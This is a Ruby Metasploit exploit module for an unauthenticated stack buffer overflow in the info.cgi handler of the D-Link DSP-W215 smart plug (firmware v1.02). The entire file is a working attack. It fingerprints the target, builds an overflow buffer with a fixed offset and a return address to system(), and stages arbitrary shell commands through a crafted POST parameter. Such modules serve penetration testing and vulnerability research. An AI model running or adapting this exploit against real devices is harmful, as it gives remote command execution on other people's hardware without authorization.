##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link info.cgi POST Request Buffer Overflow',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on different D-Link
devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
environment.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery and initial PoC
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'References' =>
[
['OSVDB', '108249'],
['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
[ 'D-Link DSP-W215 - v1.02',
{
'Offset' => 477472,
'Ret' => 0x405cec # jump to system - my_cgi.cgi
}
]
],
'DisclosureDate' => 'May 22 2014',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'uri' => "/common/info.cgi",
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code)
if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
@my_target = targets[1] if target['auto']
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")
@my_target = target
check_code = check
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
end
if @my_target.nil? || @my_target['auto']
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
end
print_status("#{peer} - Exploiting #{@my_target.name}...")
execute_cmdstager(
:flavor => :echo,
:linemax => 185
)
end
def prepare_shellcode(cmd)
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system
# la $t9, system
# la $s1, 0x440000
# jalr $t9 ; system
# addiu $a0, $sp, 0x28 # our command
buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28
buf << cmd # Command to execute
buf << "\x00" # NULL terminate the command
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/common/info.cgi",
'encode_params' => false,
'vars_post' => {
'storage_path' => shellcode,
}
}, 5)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
